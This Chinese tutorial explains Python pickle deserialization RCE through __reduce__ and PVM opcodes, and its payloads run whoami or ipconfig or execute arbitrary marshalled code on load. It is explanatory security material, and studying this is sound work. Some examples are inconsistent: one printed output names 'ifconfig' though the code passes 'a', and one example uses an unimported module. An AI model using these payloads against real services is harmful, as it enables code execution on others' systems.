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前言
Python 中有很多能进行序列化的模块，比如 Json、pickle/cPickle、Shelve 、 Marshal
一般 pickle 模块较常使用
在 pickle 模块中 , 常用以下四个方法
- pickle.dump(obj, file) : 将对象序列化后保存到文件
- pickle.load(file) : 读取文件， 将文件中的序列化内容反序列化为对象
- pickle.dumps(obj) : 将对象序列化成字符串格式的字节流
- pickle.loads(bytes_obj) : 将字符串格式的字节流反序列化为对象
注意：file文件需要以 2 进制方式打开，如 wb 、 rb
序列化
- 从对象提取所有属性,并将属性转化为键值对
- 写入对象的类名
- 写入键值对
看到下面这个序列化例子
py3 序列化后结果为：
b'\x80\x04\x954\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x04Test\x94\x93\x94)\x81\x94}\x94(\x8c\x04name\x94\x8c\x051ndex\x94\x8c\x03age\x94K\x12ub.'py2 序列化后结果为：
(i__main__
Test
p0
(dp1
S'age'
p2
I18
sS'name'
p3
S'1ndex'
p4
sb.这么一大串字符代表什么意思呢？可以简单的与 PHP 反序列化结果做类比 ----> 特定的字符开头帮助解释器指明特定的操作或内容
实际上这是一串 PVM 操作码
以 py2 运行得到的序列化结果 其中某些行的开头的字符具有特殊含义
例如：
cos\nsystem\n(S'whoami'\ntR.反序列化
- 获取 pickle 输入流，也就是上面说的 PVM 码
- 重建属性列表
- 根据类名创建一个新的对象
- 将属性复制到新的对象中
反序列化时，将字符串(pickle 流)转换为对象
与PHP 序列化相似，Python 序列化也是将对象转换成具有特定格式的 字符串(py2)或字节流(py3) ，以便于传输与存储，比如 session
但是在反序列化时又与 PHP 反序列化又有所不同：
- PHP 反序列化要求源代码中必须存在有问题的类，要求是被反序列化的对象中存在可控参数，具体可看这里
- 而 Python 反序列化不需要，其只要求被反序列化的字符可控即可造成 RCE，例如：
# Python2
import pickle
s ="cos\nsystem\n(S'whoami'\ntR." # 将被反序列化的字符串
pickle.loads(s) # 反序列化后即可造成命令执行，因此网站对要被反序列化的字符串应该做严格限制在 Python 中，一切皆对象，因此能使用 pickle 序列化的数据类型有 很多
- None、True 和 False
- 整数、浮点数、复数
- str、byte、bytearray
- 只包含可封存对象的集合，包括 tuple、list、set 和 dict
- 定义在模块最外层的函数（使用 def 定义，lambda 函数则不可以）
- 定义在模块最外层的内置函数
- 定义在模块最外层的类
- 某些类实例，这些类的 __dict__ 属性值或 __getstate__() 函数的返回值可以被封存
其中文件、套接字、以及代码对象不能被序列化！
Why
Python 反序列化漏洞跟 __reduce__() 魔术方法相关
其类似于 PHP 对象中的 __wakeup() 方法，会在反序列化时自动调用
__reduce__() 魔术方法可以返回一个字符串或者时一个元组。其中返回元组时，第一个参数为 一个可调用对象 ，第二个参数为 该对象所需要的参数
When
关键问题就在 __reduce__ 方法第二种返回方式---元组。在反序列化时自动调用 __reduce__() 方法，该方法会自动调用返回值中的函数模块并执行
例如下面存的代码：
import pickle
import os
class Rce(object):
def __reduce__(self):
return (os.system,('ipconfig',))
a = Rce()
b = pickle.dumps(a)
pickle.loads(b) # 执行该语句进行反序列化，自动执行 __reduce__ 方法，并且执行 os.system('ipconfig')注意点： 元类无法在反序列化时调用 __reduce__ 魔术方法 ，简单理解就是没有继承 object 的类
class A():
pass # 反序列化时不会调用 __reduce__ 方法
class B(object):
pass # 反序列化时会调用 __reduce__ 方法由于 Python 反序列化时只需要被反序列化的字符串可控(而不需要源代码中存在有安全问题的类)便可造成 RCE
因此我们可以通过如下代码轻松构造 Payload：
import pickle
import os
class Rce(object):
def __reduce__(self):
return (os.system,('ipconfig',))
a = Rce()
b = pickle.dumps(a)
print(b)特性
- 看到如下两种不同的序列化结果：
- 一
import pickle
import os
class Rce(object):
name = "1ndex"
a = Rce()
print(pickle.dumps(a))结果：
ccopy_reg\n_reconstructor\np0\n(c__main__\nRce\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n.- 二
import pickle
import os
class Rce(object):
name = "1ndex"
def __reduce__(self):
return (os.system,("a",))
a = Rce()
print(pickle.dumps(a))结果：
cposix\nsystem\np0\n(S'ifconfig'\np1\ntp2\nRp3\n.然后用下面这个代码执行反序列化：
import pickle
str = "填写上面序列化后的结果"
pickle.loads(str)一 对应的结果反序列化：
AttributeError: 'module' object has no attribute 'Rce' # 报错二 对应的结果反序列化成功
一般来说反序列化时如果源代码中没有对应的类 Rce ，是会直接报错的(也就是上面一的结果)，但是为什么在反序列化二的时候却能成功呢？源代码中明明也没有这个 Rce 的类啊
当序列化以及反序列化的过程中碰到一无所知的扩展类型/类的时候，可以通过类中定义的 __reduce__ 方法来告知如何进行序列化或者反序列化
也就是说我们，只要在类中定义一个 reduce 方法，我们就能在反序列化时，让这个类根据我们在__reduce__ 中指定的方式进行序列化(也就会执行 return 中的恶意代码)
这应该就是大佬说的相似：
Python 除了能反序列化当前代码中出现的类(包括通过 import的方式引入的模块中的类)的对象以外，还能利用其彻底的面向对象的特性来反序列化使用 types 创建的匿名对象，这样的话就大大拓宽了我们的攻击面。
- 反序列化执行 reduce 魔术方法，在 return 时，回自动导入源代码中没有引入的模块，例如：
import pickle
s ="cos\nsystem\n(S'whoami'\ntR." # 将被反序列化的字符串
pickle.loads(s) # 实际上会执行 os.system('whoami')，但是可以看到源代码中并未导入 os 模块Solution
- 严格控制要被反序列化的字符串
利用
执行命令
import pickle
import os
class Rce(object):
def __reduce__(self):
return (commands.getoutput,("whoami",))
a = Rce()
print(pickle.dumps(a))执行任意 Python 代码
import marshal
import base64
def code():
# 这里放任意想执行的 Python 代码
pass
print """ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'%s'
tRtRc__builtin__
globals
(tRS''
tR(tR.""" % base64.b64encode(marshal.dumps(code.func_code))私信小编01即可获取大量Python学习资料